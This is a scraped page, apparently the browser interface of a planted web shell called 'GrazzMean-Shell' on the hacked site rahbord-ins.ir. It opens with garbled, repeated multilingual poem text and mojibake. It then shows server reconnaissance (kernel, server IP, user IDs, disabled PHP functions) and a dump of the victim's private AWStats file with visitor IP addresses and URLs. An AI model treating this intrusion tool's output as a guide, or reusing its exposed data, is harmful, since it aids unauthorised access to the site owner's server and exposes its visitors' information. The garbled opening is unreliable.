曾与蒿藜同雨露,한때 잡초와 쑥과 함께 비와 이슬을 나누던 곳이 이제는 소나무와 삼나무와 함께 서리와 눈을 견뎌내고 있다.终随松柏到冰霜.かつては雑草やヨモギと共に雨や露を分かち合っていたが、今では松やヒノキと共に霜や雪に耐えている。曾与蒿藜同雨露,Once sharing rain and dew with weeds and wormwood, now enduring frost and snow with pines and cypresses.终随松柏到冰霜.曾与蒿藜同雨露한때 잡초와 쑥과 함께 비와 이슬을 나누던 곳이 이제는 소나무와 삼나무와 함께 서리와 눈을 견뎌내고 있다.,终随松柏到冰霜.譖セ荳手珍阯懷酔髮ィ髴イ�檎サ磯囂譚セ譟丞芦蜀ー髴�曾与蒿藜同雨露,鏇句笌钂胯棞鍚岄洦闇诧紝缁堥殢鏉炬煆鍒板啺闇�终随松柏到冰霜.曾与蒿藜同雨露,한때 잡초와 쑥과 함께 비와 이슬을 나누던 곳이 이제는 소나무와 삼나무와 함께 서리와 눈을 견뎌내고 있다.终随松柏到冰霜.曾与蒿藜同雨露,终随松柏到冰霜. rahbord-ins.ir - GrazzMean-Shell
shell bypass 403

GrazzMean-Shell Shell

: /home/rahbordf/tmp/awstats/ [ drwx------ ]
Uname: Linux server18.dn-server.com 3.10.0-962.3.2.lve1.5.88.el7.x86_64 #1 SMP Fri Sep 26 14:06:42 UTC 2025 x86_64
Software: LiteSpeed
PHP version: 7.4.33 [ PHP INFO ] PHP os: Linux
Server Ip: 185.126.202.122
Your Ip: 216.73.217.55
User: rahbordf (4876) | Group: rahbordf (4881)
Safe Mode: OFF
Disable Function:
show_source, system, shell_exec, passthru, exec, popen, proc_open

name : awstats052026.rahbord-ins.ir.txt
AWSTATS DATA FILE 8.0 (build 20240604)
# If you remove this file, all statistics for date 202605 will be lost/reset.
# Last config file used to build this data file was /home/rahbordf/tmp/awstats/awstats.rahbord-ins.ir.conf.

# Position (offset in bytes) in this file for beginning of each section for
# direct I/O access. If you made changes somewhere in this file, you should
# also remove completely the MAP section (AWStats will rewrite it at next
# update).
BEGIN_MAP 28
POS_GENERAL 2082                
POS_TIME 2743                
POS_VISITOR 6900                
POS_DAY 7467                
POS_DOMAIN 3369                
POS_LOGIN 3626                
POS_ROBOT 3781                
POS_WORMS 4019                
POS_EMAILSENDER 4150                
POS_EMAILRECEIVER 4293                
POS_SESSION 7854                
POS_FILESIZE 12492               
POS_REQUESTTIME 12634               
POS_SIDER 8013                
POS_FILETYPES 4428                
POS_DOWNLOADS 4671                
POS_OS 4719                
POS_BROWSER 4862                
POS_SCREENSIZE 5105                
POS_UNKNOWNREFERER 5179                
POS_UNKNOWNREFERERBROWSER 5304                
POS_ORIGIN 5424                
POS_SEREFERRALS 5559                
POS_PAGEREFS 5722                
POS_SEARCHWORDS 5870                
POS_KEYWORDS 6022                
POS_MISC 2407                
POS_ERRORS 6081                
POS_CLUSTER 3482                
POS_SIDER_404 6188                
END_MAP

# LastLine    = Date of last record processed - Last record line number in last log - Last record offset in last log - Last record signature value
# FirstTime   = Date of first visit for history file
# LastTime    = Date of last visit for history file
# LastUpdate  = Date of last update - Nb of parsed records - Nb of parsed old records - Nb of parsed new records - Nb of parsed corrupted - Nb of parsed dropped
# TotalVisits = Number of visits
# TotalUnique = Number of unique visitors
# MonthHostsKnown   = Number of hosts known
# MonthHostsUnKnown = Number of hosts unknown
BEGIN_GENERAL 8
LastLine 20260601114453 2 234 17550486995964
FirstTime 0
LastTime 20260529220617
LastUpdate 20260601154055 2 0 1 0 0
TotalVisits 22                  
TotalUnique 12                  
MonthHostsKnown 0                   
MonthHostsUnknown 13                  
END_GENERAL

# Misc ID - Pages - Hits - Bandwidth
BEGIN_MISC 10
AddToFavourites 0 2 0
RealPlayerSupport 0 0 0
JavaEnabled 0 0 0
QuickTimeSupport 0 0 0
JavascriptDisabled 0 0 0
TotalMisc 0 0 0
PDFSupport 0 0 0
DirectorSupport 0 0 0
FlashSupport 0 0 0
WindowsMediaPlayerSupport 0 0 0
END_MISC

# Hour - Pages - Hits - Bandwidth - Not viewed Pages - Not viewed Hits - Not viewed Bandwidth
BEGIN_TIME 24
0 0 0 0 1 1 9929
1 5 77 837862 0 0 0
2 1 1 12139 3 13 96573
3 0 0 0 6 17 94958
4 1 1 9929 1 3 23326
5 0 0 0 1 1 7595
6 0 0 0 2 5 42639
7 2 2 24277 4 30 74907
8 40 40 2560 4 7 22389
9 0 0 0 3 13 49324
10 0 0 0 0 0 0
11 0 0 0 5 27 94527
12 14 14 12971 1 1 9924
13 0 0 0 1 4 16872
14 3 3 34002 0 0 0
15 0 1 693 3 15 69966
16 0 0 0 1 6 30381
17 1 1 12139 1 2 15191
18 1 1 9930 4 13 45143
19 0 0 0 0 2 15190
20 11 107 967894 2 3 52241
21 1 1 9931 0 1 7595
22 1 1 12139 5 61 320151
23 1 1 12139 4 5 33539
END_TIME

# Domain - Pages - Hits - Bandwidth
# The 25 first Pages must be first (order not required for others)
BEGIN_DOMAIN 3
ru 54 54 13321
ir 27 195 1932656
us 1 2 12628
END_DOMAIN

# Cluster ID - Pages - Hits - Bandwidth
BEGIN_CLUSTER 0
END_CLUSTER

# Login - Pages - Hits - Bandwidth - Last visit
# The 10 first Pages must be first (order not required for others)
BEGIN_LOGIN 0
END_LOGIN

# Robot ID - Hits - Bandwidth - Last visit - Hits on robots.txt
# The 25 first Hits must be first (order not required for others)
BEGIN_ROBOT 3
Googlebot/ 119 463505 20260531110731 0
bingbot/ 62 330081 20260522223535 0
crawl 3 31179 20260508113129 0
END_ROBOT

# Worm ID - Hits - Bandwidth - Last visit
# The 5 first Hits must be first (order not required for others)
BEGIN_WORMS 0
END_WORMS

# EMail - Hits - Bandwidth - Last visit
# The 20 first Hits must be first (order not required for others)
BEGIN_EMAILSENDER 0
END_EMAILSENDER

# EMail - Hits - Bandwidth - Last visit
# The 20 first hits must be first (order not required for others)
BEGIN_EMAILRECEIVER 0
END_EMAILRECEIVER

# Files type - Hits - Bandwidth - Bandwidth without compression - Bandwidth after compression
BEGIN_FILETYPES 10
gif 3 1794 0 0
woff2 2 113560 0 0
js 52 228220 0 0
html 20 195224 0 0
css 69 131409 0 0
png 7 49454 0 0
Unknown 54 15327 0 0
woff 4 83144 0 0
jpg 38 1036329 0 0
ttf 2 104144 0 0
END_FILETYPES

# Downloads - Hits - Bandwidth
BEGIN_DOWNLOADS 0
END_DOWNLOADS

# OS ID - Hits
BEGIN_OS ID - Hits - Pages 5
macosx15 1 1
android10 77 5
Unknown 53 53
win10 118 22
androidmarshmallow 2 1
END_OS

# Browser ID - Hits - Pages
BEGIN_BROWSER 10
chrome148.0.0.0 107 11
chrome148.0.7778.96 2 1
safari17.4.1 1 1
chrome120.0.0.0 1 1
chrome124.0.0.0 1 1
Unknown 53 53
firefox125.0 7 7
chrome135.0 1 1
chrome145.0.0.0 1 1
chrome144.0.0.0 77 5
END_BROWSER

# Screen size - Hits
BEGIN_SCREENSIZE 0
END_SCREENSIZE

# Unknown referer OS - Last visit date
BEGIN_UNKNOWNREFERER 1
Cpanel-HTTP-Client/1.0 20260514083822
END_UNKNOWNREFERER

# Unknown referer Browser - Last visit date
BEGIN_UNKNOWNREFERERBROWSER 1
Cpanel-HTTP-Client/1.0 20260514083822
END_UNKNOWNREFERERBROWSER

# Origin - Pages - Hits 
BEGIN_ORIGIN 6
From0 68 68
From1 0 0
From2 1 1
From3 0 0
From4 13 182
From5 0 0
END_ORIGIN

# Search engine referers ID - Pages - Hits
BEGIN_SEREFERRALS 1
www_google_com 1 1
END_SEREFERRALS

# External page referers - Pages - Hits
# The 25 first Pages must be first (order not required for others)
BEGIN_PAGEREFS 0
END_PAGEREFS

# Search keyphrases - Number of search
# The 10 first number of search must be first (order not required for others)
BEGIN_SEARCHWORDS 0
END_SEARCHWORDS

# Search keywords - Number of search
# The 25 first number of search must be first (order not required for others)
BEGIN_KEYWORDS 0
END_KEYWORDS

# Errors - Hits - Bandwidth
BEGIN_ERRORS 3
302 11 0
404 31 238607
301 1 0
END_ERRORS

# URL with 404 errors - Hits - Last URL referrer
BEGIN_SIDER_404 10
/integral_evolution 1 -
/%DB%B1%DB%B1-2/ 1 -
/hhutu/tropical-bar-names.html 1 -
/robots.txt 21 -
/%D8%AA%D9%85%D8%A7%D8%B3-%D8%A8%D8%A7-%D9%85%D8%A7 1 -
/support 1 -
/%D8%A2%D9%85%D9%88%D8%B2%D8%B4-%D9%86%D9%82%D8%B4%D9%87-%D8%AE%D9%88%D8%A7%D9%86%DB%8C/ 1 -
/about 1 -
/%D8%AF%D9%88%D8%B1%D9%87-%D9%87%D8%A7%DB%8C-%D8%A2%D9%85%D9%88%D8%B2%D8%B4-%D9%85%D8%AC%D8%A7%D8%B2%DB%8C/ 2 -
/comments/feed/ 1 -
END_SIDER_404

# Host - Pages - Hits - Bandwidth - Last visit date - [Start date of last visit] - [Last page of last visit]
# [Start date of last visit] and [Last page of last visit] are saved only if session is not finished
# The 25 first Hits must be first (order not required for others)
BEGIN_VISITOR 13
185.126.202.122 53 53 3392 20260514083822
5.123.213.45 11 107 967894 20260514204240
2.183.248.92 5 77 837862 20260506015516
5.160.49.170 3 3 34209 20260524123547
95.38.161.179 3 3 36416 20260527073924
178.252.138.68 1 1 9930 20260501184912
66.249.74.167 1 1 11935 20260525140612
5.202.180.178 1 1 9929 20260520143620
185.234.14.154 1 1 9929 20260502045602
93.110.40.197 1 1 12138 20260517140030
5.239.53.144 1 1 12139 20260529220617
5.112.61.175 1 1 12139 20260510234536
66.249.74.166 0 1 693 
END_VISITOR

# Date - Pages - Hits - Bandwidth - Visits
BEGIN_DAY 16
20260501 1 1 9930 1
20260502 1 1 9929 1
20260506 5 77 837862 1
20260508 8 8 512 1
20260509 5 5 320 1
20260510 9 9 12651 2
20260511 8 8 512 1
20260512 8 8 512 1
20260513 8 8 512 1
20260514 19 115 968406 2
20260517 1 1 12138 1
20260520 4 4 44137 4
20260524 1 1 12139 1
20260525 2 3 24767 2
20260527 1 1 12139 1
20260529 1 1 12139 1
END_DAY

# Session range - Number of visits
BEGIN_SESSION 2
15mn-30mn 1
0s-30s 21
END_SESSION

# URL - Pages - Bandwidth - Entry - Exit
# The 25 first Pages must be first (order not required for others)
BEGIN_SIDER 61
/ 18 164118 14 13
/themes/default-bootstrap/fonts/fontawesome-webfont.woff2 2 113560 0 1
/themes/default-bootstrap/fonts/yekan/YekanWeb-Bold.woff 2 40144 0 0
/themes/default-bootstrap/fonts/bhoma/BHoma.ttf 2 104144 0 0
/themes/default-bootstrap/fonts/yekan/YekanWeb-Regular.woff 2 43000 0 0
/.well-known/acme-challenge/M315OPG1W4VHHOC0ZBOZORW0-M4_WFRA 1 64 0 0
/%D9%85%DB%8C%D9%86%D8%A7%DA%A9%D8%A7%D8%B1%DB%8C-%D8%B1%D9%88%DB%8C-%D8%B3%D9%81%D8%A7%D9%84/3-printed-dress.html 1 15531 0 0
/.well-known/acme-challenge/3ACNUCIR9C5V5QR6LN73Y-G9PVLB6Q2E 1 64 0 0
/.well-known/acme-challenge/_SSIC5AEV4KDES81_F3GTC3S3BZRHG08 1 64 0 0
/.well-known/acme-challenge/NP5J5O93FKOX77QA5T912UVEVDOJ-QCP 1 64 0 0
/.well-known/acme-challenge/3ATN3KBRF8O9HBR6BQLJ5GD4Q4V9A19E 1 64 1 0
/.well-known/acme-challenge/H4RL-5ZZ2IXKAG-DK_P75PDHW3Q0W9FK 1 64 0 0
/.well-known/acme-challenge/839GVO2NGV8WNH5OJ64-L1EHR3ZRDA4C 1 64 1 0
/.well-known/acme-challenge/4M0X7LG8PLB5T_D9E-7U6-Y8WENB0YTW 1 64 0 0
/.well-known/acme-challenge/TBY1YSQZOXHN2GFAWB4H5XHX8FJ6IRB6 1 64 0 0
/.well-known/acme-challenge/4ZUQ_T2M6AI0Y46RVB_AUCVLO8QDLY-P 1 64 0 0
/.well-known/acme-challenge/CH-AK86H-SZAM1NYGYIUN0MU9RWA2XJD 1 64 0 0
/.well-known/acme-challenge/00_1QD7BKSJE4B60K-G2X2J9WCEW4_P- 1 64 0 0
/.well-known/acme-challenge/D4XMC55ZY-2HNDTS0SOOF7DCH-W_GUK4 1 64 0 0
/.well-known/acme-challenge/1QDYBD-_N9UTJ_7GRI-0N9Y61-ROE_68 1 64 0 1
/.well-known/acme-challenge/1QEY1UE7QP0PAE6-1IYNXE8G7BMSKNH8 1 64 1 0
/.well-known/acme-challenge/AFCZRTWU05QVS3BBQ-_20JFK-RVYKTDH 1 64 0 1
/.well-known/acme-challenge/41-RVKGXE4MMV1-PXUCHIPTJN9FJFGU9 1 64 0 1
/.well-known/acme-challenge/4W0IW7_81CKU721EOOQNMMAWNFEE0UT7 1 64 0 0
/.well-known/acme-challenge/Z8BTOX93B7ZZK4YXODSOMC1-4E9XXJSW 1 64 0 1
/.well-known/acme-challenge/RFBBHXT775VO8_NNFHQA-JOGRPR37KA5 1 64 0 0
/%D8%B7%D8%B1%D8%A7%D8%AD%DB%8C-%D9%81%D8%B1%D9%88%D8%B4%DA%A9%D8%A7%D9%87-%D8%A7%DB%8C%D9%86%D8%AA%D8%B1%D9%86%D8%AA%DB%8C-%D8%A8%D8%A7-%D9%88%D9%88%DA%A9%D9%88%D9%85%D8%B1%D8%B3/2-blouse.html 1 15575 0 0
/.well-known/acme-challenge/ZGYZ1AMM5YMB3TS7WVBC3VTUYLK-8QBG 1 64 0 1
/.well-known/acme-challenge/J48P7K47WQEDP2_W3-CLM906QWQT155G 1 64 0 0
/.well-known/acme-challenge/1L0H8ZCT0S6__N94MH6WUWUZXHDZZZ1L 1 64 0 0
/.well-known/acme-challenge/TTV04IFUKAJE3HLVH6CG9RH5Y2UQ229R 1 64 0 0
/.well-known/acme-challenge/C_VWQ59K_IBLQ8VZTLIQ1QCR0W05M4RL 1 64 0 0
/.well-known/acme-challenge/KK38JALN3CVF4O5JRN0MW8VOZLDT20D5 1 64 1 0
/.well-known/acme-challenge/L461G9BN8M8J-FMJ6G0-LOEAJPGO4XFB 1 64 0 0
/.well-known/acme-challenge/4-R9_8I8ZORC_SSLVLYIN7GKEM1YRCPD 1 64 0 0
/.well-known/acme-challenge/FCKUK12V11T837VP8N7-_GZFER__R-YF 1 64 0 1
/.well-known/acme-challenge/K3YHXEERXBSI0X8-03UO3YJIG01RDEV9 1 64 0 0
/.well-known/acme-challenge/EI6UR9KCCDU0ZXE0FCVGTK_1D4FWFD40 1 64 0 0
/.well-known/acme-challenge/L37NZF9YA3IEPRELASHZUKACCSYEDHQI 1 64 0 0
/.well-known/acme-challenge/842_Z5BB8ZCS5W6I8FQGZXA9RA86NOBA 1 64 0 0
/.well-known/acme-challenge/PEWAD8CKZ3LEPOKPK5NR3F_7BEDNY3QF 1 64 0 0
/.well-known/acme-challenge/N61WPCG5UQ8HXOEQYP_MU1EP42_ULIAN 1 64 0 0
/.well-known/acme-challenge/5W_GQKNI9CIRUX7Y6DBBM7G557UMZT8G 1 64 0 0
/.well-known/acme-challenge/D2F8TR18OKL8L9WKA6N1_5SM0LRWK67P 1 64 1 0
/.well-known/acme-challenge/LSA44DWM5UQHDU3K7CQMVDV0X0LEQ7H_ 1 64 0 0
/.well-known/acme-challenge/JPU_T8OOAGYUJGQOSSGX5NJT1I5FJJC9 1 64 0 0
/.well-known/acme-challenge/_HX7ARVM2W34P6MR_2P9MG8Z8442SQ0O 1 64 0 0
/.well-known/acme-challenge/KC-5WKD2Z_5JM3GKRJMV5YQ-X9SA__BN 1 64 1 0
/.well-known/acme-challenge/DFSEBU2E895K3VDZ5VPW33YITU8GYIXR 1 64 0 1
/.well-known/acme-challenge/ZDCV0_XDTD7HVZB3FN8DQXKIARGES8-4 1 64 0 0
/.well-known/acme-challenge/2798GFOL7_3IG9NC22BCQ3HF2KT7L0A0 1 64 0 0
/8-%D9%87%D9%86%D8%B1%D9%87%D8%A7%DB%8C-%D8%AA%D8%AC%D8%B3%D9%85%DB%8C 1 11935 1 1
/.well-known/acme-challenge/1KUHT--PZCS3IJ_Z-M-DEOCGZ0O4_IJI 1 64 0 0
/.well-known/acme-challenge/BTD4JAQBVLY-H_6C82Q-140U1CSYBVBI 1 64 0 0
/.well-known/acme-challenge/M21VT621TIA0CAROIB438-U24AODFCHF 1 64 1 0
/.well-known/acme-challenge/SMW392DC_Y9-3VN0NOOJDSRRF7CV-5E1 1 64 0 0
/.well-known/acme-challenge/N6RDMM3TC-0DKQIENHSU73M48OP1B3TB 1 64 0 0
/.well-known/acme-challenge/VQEKPRMZEI0TQMSIFYZQBNHECT_UMA5A 1 64 0 0
/.well-known/acme-challenge/M8UIV442KSDZXMD6Z0PCVCNQGE4SO7-8 1 64 0 0
/.well-known/acme-challenge/-3X9VDVS71TTVWO6F-B9WII126G-WR_B 1 64 0 0
/.well-known/acme-challenge/8GLU6R5GG_S2C20Q0TD6NEJWXXQR2Z5J 1 64 0 0
END_SIDER

# Payload Range - Payload Frequency
BEGIN_FILESIZE 7
2K-5K 42
0-44 16
44-100 88
5K+ 165
1K-2K 55
500-1K 65
100-500 50
END_FILESIZE

# Request Time Range - Request Time Frequency
BEGIN_REQUESTTIME 0
END_REQUESTTIME
© 2026 GrazzMean-Shell